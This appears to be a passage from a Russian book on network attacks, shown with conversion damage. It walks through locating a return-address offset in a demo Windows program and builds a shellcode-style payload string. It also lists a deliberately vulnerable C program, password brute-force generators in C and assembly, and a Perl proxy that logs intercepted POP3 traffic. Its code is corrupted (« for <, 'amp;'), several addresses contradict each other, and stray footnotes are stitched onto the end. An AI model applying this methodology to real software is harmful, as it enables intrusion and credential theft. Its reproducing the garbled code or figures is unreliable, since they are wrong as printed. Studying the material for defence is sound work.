Код, получаемый управление при срыве стека, запускается от имени и с привилегиями уязвимой программы. Отсюда, наибольший интерес представляют программы, обладающие наивысшими привилегиями (системные сервисы, демоны и т.д.). Это значительно сужает круг поиска и ограничивает количество потенциальных кандидатов в жертвы.

Врезка «замечание» *

Существует некоторые методы, позволяющие предотвратить последствия срыва стека, даже при наличии грубых ошибок реализации. В главах, посвященных безопасности операционных систем UNIX и Windows NT, отмечалось, что все они разрешают выполнение кода в стеке, и поэтому потенциально уязвимы, или же, другими словами, чувствительны к ошибкам программного обеспечения.

На самом же деле это не совсем верно. Существуют экзотические ядра UNIX, запрещающие подобную операцию - при попытке выполнить код, размещенный в стеке, происходит исключение, и выполнение программы прерывается. Но вместе с этим перестают работать многие легальные программы, «на лету» генерирующие код и исполняющие его в стеке . Но запрет на выполнение кода в стеке не затрагивает модификацию переменных, указателей, поэтому принципиальная возможность атак по-прежнему остается. Поэтому, такие ядра используются крайне редко. Тем более, вызов исключение при попытке злоумышленника проникнуть на компьютер, не самая лучшая защита .

Некоторые компиляторы (тот же gcc) способны генерировать код, автоматически обнаруживающий выход за границы буфера, но это вызывает снижение производительности в десятки раз и чаще всего оказывается неприемлемо.

Врезка «информация» *

В рамках проекта Synthetix () удалось найти несколько простых и надежных решений, затрудняющих атаки, основанные на срыве стека. Например, “StackGuard” - одна из «заплат» к компилятору gcc, дополняет пролог и эпилог каждой из функций, особым кодом, контролирующим целостность адреса возврата. Алгоритм в общих чертах следующий: в стек вместе с адресом возврата заносится, так называемый, “Canary Word”, расположенный до адреса возврата. Искажение адреса возврата обычно сопровождается и искажением Canary Word, что легко проконтролировать. Соль в том, что Canary Word содержит символы “\0”, CR, LF, EOF, которые не могут быть обычным путем введены с клавиатуры. А для усиления защиты добавляется случайная привязка, генерируемая при каждом запуске программы.

Такая мера действительно затрудняет атаки, но не исключает их принципиальную возможность. Существует возможность перезаписи любой области памяти как искажением регистра EBP, используемого для адресации локальные переменных, так и модификацией переменных указателей. Этого StackGuard отследить не в силах. Кроме того, если происходит переполнение буферов, в которых помещается информация, считанная из двоичного файла или принятая по сети, то отсутствует всякое ограничение на передаваемые в строке символы. А узнать значение привязки можно, например, с помощью уязвимости в функции printf (и подобным ей) и т.д.

Существуют различные способы поиска уязвимых программ. Например, с помощью дизассемблирования и тщательного изучения кода, или тривиального ввода строк переменной длины. Как уже отмечалось в главе «Технология срыва стека» недостаточно ограничится вводом максимально длинных строк. Необходимо перебирать все длины от нулевой до максимально возможной.

Манипуляция со строками разной длины - наиболее простой (но не всегда действенный) путь. Если удается подобрать строку, вызывающую исключение, то, следовательно, исследуемая программа содержит уязвимость. Но вовсе не факт, что удастся передать управление на свой код, изменить адрес возврата или каким-то иным способом проникнуть на атакуемую машину. В некоторых случаях ошибки переполнения приводят к возможности блокирования программы, но не позволяют злоумышленнику совершить никакие осмысленные действия.

Поэтому, перед атакующим стоят следующие вопросы: возможно ли искажение адреса возврата таким образом, чтобы он указывал на переданную строку? Если да, то какой байт строки попадает в буфер? Большинство операционных систем при возникновении аварийной ситуации выдают информацию, способную пролить свет на причины аварии. Род и форма выдача информации варьируются от одной операционной системы к другой, но практически всегда приводится содержимое регистров, верхушки стека, инструкции, вызвавшей исключение и номера самого исключения. Этими сведениями и может воспользоваться злоумышленник, чтобы ответить на интересующие его вопросы.

Наименее информативной оказывается Windows 2000, не сообщающая ни содержимое регистров, ни состояние стека. Однако она позволяет загрузить отладчик, с помощью которого легко получить необходимую информацию. Существует так же утилита «Dr. Watson», предназначенная для выяснения причин возникновения аварийных ситуаций. Она великолепно подходит для анализа уязвимых программ.

Ниже будет показано, как можно использовать эту информацию для проникновения на удаленный компьютер. Поскольку, после возникновения исключения ни одна операционная система не передает клиенту сведения о причине аварии (содержимое регистров, состояние стека), то все исследования необходимо проводить на локальной машине. Т.е. злоумышленник должен иметь физический доступ к своей жертве или установить на своем компьютере ту же самую операционную систему и то же самое программное обеспечение.

Если под управлением Windows 2000, в примере buff.demo.exe (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.demo.exe”) ввести строку более чем из двадцати символов ‘Z’ (или любых других символов), произойдет исключение и на окне появится диалоговое окно следующего содержания (смотри рисунок 79):

Рисунок 079 Информация, выдаваемая операционной системой Windows 2000 при возникновении исключительной ситуации

“Инструкция по адресу 0x5a5a5a5a обратилась к памяти по адресу 0x5a5a5a5a. Память не может быть read”. Код символа ‘Z’ равен 0x5A, следовательно, искажение адреса возврата позволило передать управление по адресу ‘ZZZZ’ или 0x5a5a5a5a в шестнадцатеричной форме. Но какие именно байты строки затирают адрес возврата?

Это можно узнать вводом строки с различными символами, например, “ZZZZZZZZZZZZZZZ1234567” (поскольку исключение «выплевывается» только при вводе строки длинной в шестнадцать и более символов, первые пятнадцать символов оказываются незначащими, и их значение роли не играет).

Вновь возникнет исключительная ситуация и на экране появится диалог следующего содержания (смотри рисунок 081):

Рисунок 081

“Инструкция по адресу 0x35343332 обратилась к памяти по адресу 0x35343332. Память не может быть read”. Код символа ‘2’ - 0x32, ‘3’ - 0x33, ‘4’ - 0x34 и ‘5’ - 0x35. Следовательно, в сохраненный адрес возврата попадают шестнадцатый, семнадцатый, восемнадцатый и девятнадцатый символ вводимой строки (без учета завершающего нуля).

Остается выяснить, по какому адресу расположен буфер, содержащий строку. Однако выяснить его только лишь на основе сообщаемой Windows 2000 информации невозможно. Необходимо запустить отладчик, кликнув по кнопке «отмена» (эта кнопка появляется только в том случае, если в системе установлен отладчик, например, среда Microsoft Visual C++, необходимо отметить - SoftIce в штатной инсталляции не предоставляет такой возможности):

После всплытия окна отладчика наибольший интерес представит значение регистра указателя верхушки стека ESP. Само же содержимое стека выше регистра ESP (где и располагается веденная строка) к этому моменту чаще всего оказывается уничтожено.

На рисунке 082 показано содержимое регистров и состояния стека. Легко видеть, что в стеке на месте введенной строки находится мусор. Это происходит потому, что при возникновении исключения в стек заносятся некоторые служебные данные, затирая все на своем пути.

Рисунок 082

Основываясь на значении регистра ESP (равного в данном случае 0x12FF80) легко вычислить адрес первого байта буфера, содержащего строку. Он равен 0x0012FF80 - 0x14 = 0x0011FF6C.

Если попробовать ввести строку наподобие: “\xCCZZZZZZZZZZZZZZ\x80\xFF\x12”, (код 0xCC это опкод команды INT 0x3 - вызывающий отладочное исключение 0х3 - только так можно гарантировать возникновение исключения в первом же байте, получившим управление), то результат будет следующим (смотри рисунок 083):

Рисунок 083

“Исключение Unknown software exemption (0x800000003) в приложении по адресу 0x0012FF6C”. Адрес 0x9912FF6C доказывает, что адрес возврата действительно подобран правильно и первый байт переданной строки получает управление.

Таким образом, вся информация, необходимая для вторжения на чужую машину получена, и злоумышленник может приступать к программной реализации атакующего кода, примеры которого были приведены в главе «Технология срыва стека» и дополнении «Использование срыва стека для запуска командного интерпретатора под Windows NT».

Под управлением Windows 9x ту же операцию выполнить намного проще, поскольку она позволяет узнать содержимое регистров и состояние стека нажатием на клавишу «сведения». На экране отобразится диалоговое окно наподобие изображенного на рисунке 080.

Рисунок 080

Наибольший интерес представляет значение регистра ESP, значение которого позволяет вычислить местоположение введенной строки в стеке. Значение регистра EBP, равного 0x5A5A5A5A говорит о том, что компилятор сгенерировал код, адресующий локальные переменные с помощью регистра EBP. Вполне возможно, что модификацией сохраненного значения EBP злоумышленнику удастся проникнуть на машину или, по крайне мере, «завесить» ее.

В штатную поставку Windows 9x, Windows NT 4.x, Windows 2000 входит утилита «Dr. Watson», предназначенная для выявления причин ошибок. При возникновении аварийной ситуации она сохраняет текущее состояние некорректно работающего приложения в файл протокола, в который (в зависимости от настоек) могут входить: содержимое регистров и состояние стека, истории трассировки и т.д.

Один из примеров протокола приведен ниже . Он получен после возникновения исключения в результате переполнения буфера программы buff.demo.exe:

· Состояние системы на 15.09.00 10:31:30. · · *--» Итог/Описание «--* · · Приложение или одна из ее DLL могла переполнить · внутренний временный буфер · · Имя модуля: «нет данных» · · Название приложения: Buff.demo.exe · · ____________________ · · *--» Сведения «--* · · Command line: F:\TPNA\SRC\BUFFDE~1.EXE · · Trap 0e 0000 - Недопустимая страница · eax=00000000 ebx=00530000 ecx=00406050 edx=0063fdd8 esi=817d3fd4 edi=00000000 · eip= 5a5a5a5a esp= 0063fdf8 ebp=5a5a5a5a - - - nv up EI pl ZR na PE nc · cs=015f ss=0167 ds=0167 es=0167 fs=41a7 gs=0000 ·»015f:5a5a5a5a page not present · sel type base lim/bot · ____________________ -- ____________________ ____________________ · cs 015f r-x- 00000000 ffffffff · ss 0167 rw-e 00000000 0000ffff · ds 0167 rw-e 00000000 0000ffff · es 0167 rw-e 00000000 0000ffff · fs 41a7 rw- 817d23fc 00000037 · gs 0000 -- · · stack base: 00540000 · TIB limits: 0063e000 - 00640000 · · - exception record - · · Exception Code: c0000005 (нарушение доступа) · Exception Address: 5a5a5a5a · Exception Info: 00000000 · 5a5a5a5a · ·»015f:5a5a5a5a page not present · · · - stack summary - · · 0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a · · - stack trace - · · 0167:5a5a5a5a 015f:5a5a5a5a 015f:5a5a5a5a · · - stack dump - · · 0063fdf8 00005a5a · 0063fdfc 00401262 = BUFF.DEMO.EXE:.text+0x262 · · ____________________ · 015f:00401231 00a330694000 add byte ptr [ebx+00406930],ah · 015f:00401237 e83f0e0000 call 0040207b = BUFF.DEMO.EXE:.text+0x107b · 015f:0040123c e8810d0000 call 00401fc2 = BUFF.DEMO.EXE:.text+0xfc2 · 015f:00401241 e8f60a0000 call 00401d3c = BUFF.DEMO.EXE:.text+0xd3c · 015f:00401246 a170694000 mov eax,dword ptr [00406970] · 015f:0040124b a374694000 mov dword ptr [00406974],eax · 015f:00401250 50 push eax · 015f:00401251 ff3568694000 push dword ptr [00406968] · 015f:00401257 ff3564694000 push dword ptr [00406964] · 015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c · BUFF.DEMO.EXE:.text+0x262: · *015f:00401262 83c40c add esp,+0c · 015f:00401265 8945e4 mov dword ptr [ebp-1c],eax · 015f:00401268 50 push eax · 015f:00401269 e8fb0a0000 call 00401d69 = BUFF.DEMO.EXE:.text+0xd69 · 015f:0040126e 8b45ec mov eax,dword ptr [ebp-14] · 015f:00401271 8b08 mov ecx,dword ptr [eax] · 015f:00401273 8b09 mov ecx,dword ptr [ecx] · 015f:00401275 894de0 mov dword ptr [ebp-20],ecx · 015f:00401278 50 push eax · 015f:00401279 51 push ecx · 015f:0040127a e8bf0b0000 call 00401e3e = BUFF.DEMO.EXE:.text+0xe3e · · ____________________ · · · 0063fe00 00000001 · 0063fe04 00760b70 -» 78 0b 76 00 00 00 00 00 46 3a 5c 54 50 4e 41 5c x.v…F:\TPNA\ · 0063fe08 00760b20 -» 00 0b 76 00 e0 0a 76 00 c0 0a 76 00 a0 0a 76 00…v…v…v…v. · 0063fe0c 00000000 · 0063fe10 817d3fd4 -» 06 00 05 00 50 e9 52 c1 00 00 00 00 00 00 00 00…P.R… · 0063fe14 00530000 · 0063fe18 c0000005 · 0063fe1c 0063ff68 -» ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00…8… · 0063fe20 0063fe0c -» 00 00 00 00 d4 3f 7d 81 00 00 53 00 05 00 00 c0…?}…S… · 0063fe24 0063fc28 -» 00 fd 63 00 1c fd 63 00 54 fc 63 00 4d 68 f7 bf…c…c.T.c.Mh… · 0063fe28 0063ff68 -» ff ff ff ff 14 fe fb bf 38 91 f7 bf 00 00 00 00…8… · 0063fe2c 004026dc = BUFF.DEMO.EXE:.text+0x16dc · -» 55 8b ec 83 ec 08 53 56 57 55 fc 8b 5d 0c 8b 45 U…SVWU…]…E · 0063fe30 004050a8 = BUFF.DEMO.EXE:.rdata+0xa8 · -» ff ff ff ff 6e 12 40 00 82 12 40 00 06 00 00 06…n.@…@… · 0063fe34 00000000 · 0063fe38 0063ff78 -» f4 ff 63 00 e9 b3 f8 bf f4 23 7d 81 d4 3f 7d 81…c…#}…?}. · 0063fe3c bff8b537 = KERNEL32!ApplicationStartup · · ____________________ ·

Этот протокол полезен тем, что позволяет установить: в какой процедуре произошло переполнение буфера. В листинге знаком звездочки отмечена инструкция, следующая за командой, вызвавшей исключение:

· 015f:0040125d e80afeffff call 0040106c = BUFF.DEMO.EXE:.text+0x6c

· BUFF.DEMO.EXE:.text+0x262:

· *015f:00401262 83c40c add esp,+0c

С помощью IDA легко установить, что процедура, располагающая по адресу 0x40106C, представляет собой main():

·.text:0040106C main proc near; CODE XREF: start+AFp

·.text:0040106C push ebp

·.text:0040106D mov ebp, esp

Но переполнение буфера произошло в процедуре auth, ссылок на адрес которой (0х401000) в протоколе, выданном Доктором Ватсоном вообще нет! Это происходит потому что, адрес возврата из процедуры auth был затерт введенной строкой и Доктор Ватсон не смог определить откуда произошел вызов. Исключение вызвала не сама функция main, а одна из вызываемых ею процедур. Установить же истинного «виновника» исключения теперь практически невозможно.

Единственной зацепкой, за которую можно ухватиться оказываются параметры переданные функции (если они не были затерты ). По роду и значению параметров можно хотя бы приблизительно определить какая функция была вызвана. По крайней мере, это позволит сузить круг поиска.

Но далеко не во всех случаях ошибки переполнения удается обнаружить перебором строк разной длины. Наглядной демонстрацией этого утверждения служит следующая программа (на диске, прилагаемом к книге, она находится в файле “/SRC/buff.src.c”):

· #include «stdio.h» · #include «string.h» · #include «windows.h» · · int file(char *buff) · { · char *p; · int a=0; · char proto[10]; · p=strchr( amp;buff[0],':'); · if (p) · { · for (;a!=(p- amp;buff[0]);a++) · proto[a]=buff[a]; · · proto[a]=0; · · if (strcmp( amp;proto[0],"file")) · return 0; · else · WinExec(p+3,SW_SHOW); · ·} · else · WinExec( amp;buff[0],SW_SHOW); · return 1; · ·} · · · main(int argc,char **argv) · { · if (argc»1) file( amp;argv[1][0]); ·}

 

Программа запускает файл, имя которого указано в командной строке. Попытка вызвать переполнение вводом строк различной длины, скорее всего, ни к чему не приведет. Но даже беглый анализ исходного кода позволит обнаружить ошибку, допущенную разработчиком.

Если в имени файла присутствует символ “:”, то программа полагает, что имя записано в формате “протокол://путь к файлу/имя файла”, и пытается выяснить какой именно протокол был указан. При этом она копирует название протокола в буфер фиксированного размера, полагая, что при нормальном ходе вещей, его хватит для вмещения имени любого протокола. Но если ввести строку наподобие “ZZZZZZZZZZZZZZZZZZZZZZ:”, то произойдет переполнение буфера со всеми вытекающими отсюда последствиями (см. рисунок 084).

Рисунок 084

Приведенный пример относится к самым простым. Но существуют более коварные ошибки, проявляющиеся лишь при стечении определенных обстоятельств и обнаружить их можно только случайно или тщательным изучением исходных кодов (а в отсутствии исходных кодов - дизассемблированием или отладкой).

В первую очередь необходимо отобразить внимание на буфера фиксированного размера, расположенные в стеке. Блоки памяти, выделяемые вызовом alloc, находятся в куче (heap) и их переполнение (даже если и имеет место) не приводит к модификации адреса возврата, сохраненного в стеке.

Но четкую инструкцию по поиску ошибок дать невозможно. Существует множество разнообразных техник и подходов к решению этой проблемы, но никакой алгоритм не в в состоянии обнаруживать все уязвимости, поскольку всегда возможно возникновение принципиально новой идеи, наподобие приема, основанного на вводе спецификаторов в строке, передаваемой функции printf . Автоматизированные средства поиска научаться обнаружить такие ошибки не раньше, чем обзаведутся искусственным интеллектом.

В сложных программах огрехи были, если и будут всегда. Тщательное тестирование миллионов строк кода современных приложений экономически не выгодно и не практикуется ни одной компанией. С другой стороны, анализ чужого кода (а особенно в отсутствии исходных текстов) выполнить в одиночку затруднительно. Большинство ошибок обнаруживаются случайно, а не в результате целенаправленного поиска. Но существует огромное количество злоумышленников, располагающих неограниченным (ну, практически неограниченным) временем для экспериментов, поэтому, новые ошибки обнаруживаются чуть ли не ежедневно (и часто по несколько в день).

Как устроен генератор паролей?

O В этой главе:

O Алгоритмы перебора пароля

O Достоинства и недостатки словарного перебора

O Оценка стойкости пароля

O Расчет количества времени гарантирующего нахождение пароля

O Поиск пароля в худшем и среднем случаях

Один из способов получения несанкционированного доступа к защищенному ресурсу заключается в подборе пароля. Такую операцию крайне редко удается выполнить вручную, и обычно ее перекладывают на плечи программ-переборщиков паролей.

Существует несколько алгоритмов генерации паролей. Например, можно составить список наиболее распространенных паролей, а затем извлекать слова из списка одно за другим. Это, так называемый, словарный перебор. Его достоинство заключается в том, что удачно подобранный словарь способен позволить найти пароль за сравнительно небольшое количество попыток. Но что означает «удачно подобранный»? Пользователи склонны выбирать короткие запоминающиеся пароли, часто представляющие собой собственные имена, торговые марки, географические названия и слова ненормативной лексики (это уж как у кого голова работает). Все вместе взятые они с легкостью вмещаются в пять - десять тысяч вариантов, и могут быть перебраны за очень короткое время. (Современные бытовые компьютеры способны перебирать сотни тысяч паролей в секунду, поэтому словарь из десяти тысяч слов может быть испытан менее чем за секунду).

Словарный перебор срабатывает часто, но не всегда. Привилегированные пользователи (такие, как, например, администраторы систем) склонны выбирать бессмысленные пароли наподобие “acsW%9*m$”, надежно защищая себя от словарной атаки. В таком случае приходится прибегать к последовательному перебору всех возможных паролей. Такой подход гарантирует, что искомый пароль рано или поздно будет найден, но требует значительного времени на поиск, часто сравнимый со временем жизни планет и звезд.

Поэтому, последовательный перебор целесообразен только в поиске коротких паролей или паролей, состоящих из небольшого количества символов. Некоторые системы аутентификации ограничивают максимальную длину пароля, позволяя гарантированной найти его путем перебора за приемлемое время. Случается, что такое ограничение возникает неявно в результате программной ошибки реализации (например, фактическая длина пароля LAN Manager составляет семь символов, поскольку две половинки четырнадцатисимвольной строки обрабатываются независимо друг от друга ).

Другими словами, некоторые защитные механизмы нестойки к последовательному перебору, какой бы пароль не был выбран. Для предотвращения лобовой атаки система аутентификации должна ограничивать минимальную длину пароля, проверять, не является ли выбранный пользователем пароль словарным словом, и не образуют ли символы, составляющие его, регулярной последовательности. В противном случае, пользователь может выбрать короткий или предсказуемый пароль, чем облегчит задачу злоумышленника по проникновению в систему.

Но что означает «короткий» и «длинный» пароль? Три символа, семь символов, десять символов, семьдесят шесть символов… Пароль какой длины может считаться надежно защищенным от перебора? Строго говоря, ни какой, поскольку любой пароль конечной длины можно подобрать за конечное время. Но в зависимости от скорости перебора и длины пароля время поиска может оказаться очень большим и даже превысить период существования самой Вселенной! Это ограничивает разумную длину пароля сверху. А время актуальности защищаемого ресурса огранивает ее снизу.

Однако такое определение все равно не может быть названо строгим, поскольку скорость перебора паролей может варьироваться в широких пределах, в зависимости от того, кто его собирается подобрать. Одно дело противостоять Васе Пупкину, вооруженному от силы десятком Pentium-ов III, а другое дело - государственным структурам, располагающим значительно большими вычислительными мощностями (которые доподлинно обывателям и не известны).

Точно так, злоумышленник, не знающий, сколько времени займет подбор пароля той или иной длины, не может назвать его ни длинным, ни коротким. Конечный ответ зависит не длины пароля самой по себе, а от времени, необходимого на его перебор. Ограничение на длину паролей в восемь символов какой-то десяток лет назад не казалась разработчикам UNIX чем-то ненормальным. По вычислительным мощностям того времени такая длина была более чем достаточна и требовала для полного перебора порядка двухсот миллионов лет. Технический прогресс уменьшил этот срок в сотни тысяч раз, и с каждым годом все продолжат уменьшать.

С учетом совершенствования компьютерной техники, становится рискованно давать долгосрочные прогнозы. Но это и не существенно, если речь идет о защите ресурсов, обесценивающихся в течение одного-двух лет.

Другими словами невозможно точно рассчитать стойкость пароля, ее можно лишь приблизительно оценить. Для этого пригодятся формулы, описанные ниже.

Время, необходимое для гарантированного нахождения пароля равно: t = V * n где V количество перебираемых комбинаций в секунду, а n количество существующих паролей. В свою очередь n зависит от максимально возможной длины пароля и количества символов, из которых может быть составлен пароль.

Пусть N обозначает множество символов, потенциально входящих в пароль, тогда, очевидно, чтобы гарантировано найти пароль единичной длины потребуется перебрать N вариантов. А из двух символов можно составить N*N+N комбинаций. Доказать это утверждение можно несколькими способами.

Например, так: поскольку каждый символ пароля можно представить в виде цифры, то и сам пароль можно изобразить в форме числа. Если символы пароля представляют собой ряд натуральных чисел от 1 до N, то, следовательно, каждый пароль численно совпадет со своим индексом, а количество паролей окажется равно значению максимального индекса.

Любое натуральное число можно представить в виде следующей суммы степеней: N1+N2+NL,… где L - количество цифр в числе (т.е. в данном случае длина пароля). Отсюда, если длина пароля равна двум, то всего существует N1+N2 возможных паролей, что и требовалось доказать. Если же учитывать вероятность отсутствия пароля, то к этой формуле придется добавить единицу, таким образом, получится следующий результат:

???? t = V * (N0+N1+N2+NL)

Формула 1. Время, необходимое для гарантированного нахождения заданного пароля. t - время, V - скорость перебора, N - количество символов, из которых может состоять пароль, L длина пароля

По этой формуле можно вычислить время, необходимое для поиска пароля в худшем случае. Однако, вероятность, что искомый пароль окажется самым последним перебираемым вариантом равна вероятности угадать правильный ответ с первой попытки. Поэтому, точно вычислить требуемое время невозможно (это кому как повезет), но принято говорить о времени, необходимом в среднем случае. Оно вычисляется по следующей формуле: tср =tмакс /2.

В некоторых публикациях (например «Моделирование возможности компьютерной атаки нарушителями через систему паролей» Головин Д. В.) затрагивается вопрос, - какой поиск пароля дает наилучший результат - последовательный или хаотичный. На самом деле вопрос нелеп в своей постановке, поскольку не оговаривается, откуда и как возник искомый пароль. Если принять, что он был выбран случайно, то последовательной перебор вариантов будет ничем не хуже (и не лучше) хаотичного поиска, поскольку никаких сведений (ни явных, ни предполагаемых) об искомом паролей нет и одному методу поиска нельзя отдать предпочтение перед другим .

Однако выбрать абсолютно случайный пароль прямо-таки затруднительно. Большинство генераторов случайных чисел имеют дефекты, иногда весьма значительные и хотя результат выдаваемый ими результат нельзя предсказать, можно оценить его вероятность.

Если достоверно известно с помощью какого алгоритма был получен исходный пароль то, использовав тот же самый алгоритм в переборщике, можно попытаться несколько сократить требуемое количество попыток. Но при этом возникнет трудность с предотвращением повторных проверок одного и того же пароля. Большинство алгоритмов допускают неоднократное появление один и тех же значений даже в интервале не превышающего периода генерации, поэтому каждый выданный пароль придется где-то сохранять и проверять на уникальность. Все это требует накладных расходов, значительно превышающих выгоды использования дефектов генератора случайных чисел (если только используемый генератор не кривой как бумеранг).

Поэтому, в большинстве случаев используется простой линейный поиск, заключающийся в последовательном переборе возможных паролей один за другим. Один из простейших алгоритмов перебора (получивший название «алгоритм счетчика») приведен ниже (на диске, прилагаемом к книге, он находится в файле “/SRC/gen.pswd.simple.c”):

· #include «stdio.h» · · main() · { · char pswd[10]; · int p=0; · pswd[0]='!'; · pswd[1]=0; · · while(1) · { · while((++pswd[p])»'z') · { · pswd[p]='!'; · p++; · if (!pswd[p]) · { · pswd[p]=' '; · pswd[p+1]=0; ·} ·} · p=0; · printf("%s\n", amp;pswd[0]); · ·} ·}

 

Суть алгоритма заключается в следующем: Первый слева символ пароля увеличиваться до тех пор, пока не превысит максимально допустимое значение. Когда такое произойдет, он «обнуляется» - принимает минимально допустимое значение, а символ, стоящий справа от него инкрементируется на единицу. Происходит, так называемая, «зацепка» - точно так работает механический счетчик на шестеренках. Когда шестеренка совершает полный оборот, она задевает своим удлиненным зубчиком соседнюю, заставляя ее повернуться на одну позицию. В упрощенном виде алгоритм записывается в одной строке на языке Си:

· while ((++pswd[p])»MAX_VAL) pswd[p++]=MIN_VAL;p=0;

Такая конструкция скрывает рекурсию, и тот же алгоритм в рекурсивной форме записи может выглядеть так:

· void GetNextPasswd(char pswd, int p) · { · pswd[p]++; · if (!(pswd[p]»MAX_VAL)) return; · pswd[p]=MIN_VAL; · Count(pswd,++p); ·}

Но если MIN_VAL отлично от нуля, то в программу приходится добавлять пару строк, инициализирующих значение очередной ячейки, например, это может выглядеть так:

· if (!pswd[p]) · { · pswd[p]=' '; · pswd[p+1]=0; ·}

Другое решение заключается в предварительной инициализации всех ячеек значением MIN_VAL-1. Однако потом придется «вручную» вычислять длину пароля и внедрять завершающий строку нуль (если программа написана на языке Си).

Результат работы программы может выглядеть, например, так (все полученные пароли выводятся на экран, на практике же они передаются процедуре наподобие Crypt):

· " # $ % amp; ' () * +, - ·. / 0 1 2 3 4 5 6 7 8 9 ·:; «=»? @ A B C D E · F G H I J K L M N O P Q · R S T U V W X Y Z [\] · ^ _ ` a b c d e f g h i · j k l m n o p q r s t u · v w x y z!! "! #! $! %! amp;! '! · (!)! *! +!,! -!.! /! 0! 1! 2! 3! · 4! 5! 6! 7! 8! 9!:!;! «! =!»!?! · @! A! B! C! D! E! F! G! H! I! J! K! · L! M! N! O! P! Q! R! S! T! U! V!…

·

В данном случае львиная доля процессорного времени тратится на вывод строк на экран, но при реальном подборе пароля, быстродействием переборщика не всегда удается пренебречь, поэтому имеет смысл переписать программу на ассемблер.

Частично оптимизированный вариант (т.е. без учета особенностей исполнения кода процессорами семейства Intel 80x86) может выглядеть так (на диске, прилагаемом к книге, он находится в файле “/SRC/gen.pswd.simple.asm.c”):

· #include «stdio.h» · #include «memory.h» · · main() · { · int p=0; · char pswd[10]; // Буфер для генерации паролей · memset( amp;pswd[0],0,10); // Иницилизация буфера · pswd[0]='!'; // Начальный пароль · · · __asm{ ·; Загрузка в регистр EAX указателя на буфер паролей · LEA EAX,pswd; ·; Сохранение регистра EAX в стеке · PUSH EAX · Begin: ·} · · // В этом месте должен быть расположен код обработки пароля · // в данном случае очередной пароль выводится на экран · printf("%s\n", amp;pswd[0]); · · __asm{ · POP EAX; Восстановление регистра EAX · PUSH EAX; И снова - сохранение! · INC [EAX]; ++pswd[p] · CMP Byte ptr [EAX],'z'; if (pswd[p]»'z') go to Check · JBE Begin; Очередной пароль · · // Проверка на перенос (и выполнение переноса) · Check: · MOV Byte ptr [EAX],'!'; pswd[p]='!' · INC EAX; p++ · CMP Byte ptr [EAX],0; if (!pswd[p]) go to Ok · JNZ Ok; Это не крайний символ · MOV Byte ptr [EAX],'!'; pswd[p]=0 · POP EAX; p=0 · PUSH EAX; Восстановление (сохранение) EAX · JMP Begin · Ok: · INC Byte ptr [EAX]; ++pswd[p] · CMP byte ptr [EAX],'z'; if (pswd[p]»'z') go to Check · JA Check · POP EAX; p=0 · PUSH EAX; Восстановление (сохранение) EAX · JMP Begin ·} · ·} ·
Исходный текст NR.PL
· @ECHO off · perl -x -S "%0" · goto end · #!perl · #line 6 · print "TCP SpyServer Version 2.0 Copyright (c) 2000 Kris Kaspersky\n"; · · #Клиент\серверный шпион · use Socket; · · #Настойки по умолчанию · $local_port = 110; · $remote_port = 110; · $server = 'mail.aport.ru'; · · #Попытка взятия настоек из файла · if (open(FH,"tcpspy")) · { · $local_port=«FH»; · $local_port =~ s/\n//; · $remote_port=«FH»; · $remote_port =~ s/\n//; · $server=«FH»; · $server=~ s/\n//; ·} · · print "Порт локального сервера \t[$local_port]:"; · $tmp=«»; $tmp=~ s/\n//;if ($tmp»0) {$local_port=$tmp;} · · print "Порт удаленного сервера \t[$remote_port]:"; · $tmp=«»; $tmp=~ s/\n//;if ($tmp»0) {$remote_port=$tmp;} · · print "Адрес сервера (none нет) \t[$server]"; · $tmp=«»; $tmp=~s/\n//; · if (length($tmp)) {$server=$tmp} · · #Сохраняем настойки в файле · if (open(FH,"»tcpspy")) · { · print FH "$local_port\n"; · print FH "$remote_port\n"; · print FH "$server\n"; ·} · close (FH); · · # 666 - особый код для Эхо-сервера · if ($server=~/none/) {$server=666;} · · #Создаем сокет для локального сервера · socket(SERVER, PF_INET, SOCK_STREAM, 6); · setsockopt(SERVER, SOL_SOCET, SO_RESEADDR,1); · $my_addr = sockaddr_in($local_port, INADDR_ANY); · bind(SERVER, $my_addr); · · #Слушаем… · listen(SERVER,1); · while(1) · { · · print "Ожидание подключения…\t\t"; · #Определяем адрес клиента · $client_addr=accept(CLIENT, SERVER); · ($clint_port,$client_ip) = sockaddr_in($client_addr); · print "+OK [IP:",inet_ntoa($client_ip),"]\n"; · · $one=CLIENT; · · $connect=1; · · if ($server!=666) · {# Прокси-схема с удаленным сервером · print "Соединение с узлом $server…\t"; · socket(RSERVER, PF_INET(), SOCK_STREAM(),6); · connect(RSERVER, sockaddr_in($remote_port,inet_aton($server))) || die; · print "+OK\n"; · $two=RSERVER; · ·} · else · {# Эхо-сервер · print "Установка эхосервера…\t\t+OK\n"; · $two=CLIENT; ·} · · $x='foo'; · open(LOG,"»tcpspy.log"); · #Обработка текущего подключения · while($connect) · { · $rin=''; · vec($rin, fileno($one),1)=1; · $timeout=5; · $nfound=select($rout = $rin, undef, undef, $timeout); · if (vec($rout, fileno($one),1)) · { · #Слушаем ответ клиента · recv($one,$x,10000,0); · if (!length($x)) {$connect=0;} · else · { · · if ($x=~/#HALT_OFF/) {send($two,"HANDUP",0);die;} · print "$one$x"; · print LOG "$one$x"; · #Говорим это серверу · send($two,"$x",0); ·} ·} · else · {#Меняем сервера с клиентом · ($one,$two) = ($two,$one); ·} ·} · print "\n-ERR:Соединение разорвано\n"; · close(CLIENT); · close(RSERVER); · close(LOG); ·} · __END__ ·:end

. «UNIX не был создан для того, чтобы мешать кому-то делать глупости, ведь это помешало бы умным людям делать умные вещи» Doug Gwyn

Тогда еще ARPANET

От английского слова “creeper” - ползучее растение, ленточный конвейер. В русскоязычной литературе эта программа известна под именем «Вьюнок»

В дословном переводе «Монстр из печенья» - герой популярной детской передачи Sesame Street

Сетевые черви существовали еще и до Морриса. Если бы не масштабы эпидемии его творение так бы и осталось ничем незамеченным

которые возникли намного позднее

Ну, может быть, за исключением школьников младших классов, находящихся на иждивении у родителей

Вадим Антонов

Если непривилегированный пользователь получит право модификации файла паролей, он сможет изменить пароль администратора (или другого пользователя) и несанкционированно войти в систему

Впрочем, обновления устанавливать необходимо - в большинстве случаев атакующий использует самые свежие уязвимости в системе, поэтому успешность атаки большей частью зависит от того, - чья из сторон (нападающий или жертва) первой отреагирует на сообщение о новой дыре

Правильнее было бы сказать наивный или доверчивый. К сожалению, с приходом опыта доверчивость чаще всего остается

Но «высшей» еще не обозначает сложной

Впрочем, все это не мешает использовать книгу для «диванного чтения» и получать от этого удовольствие

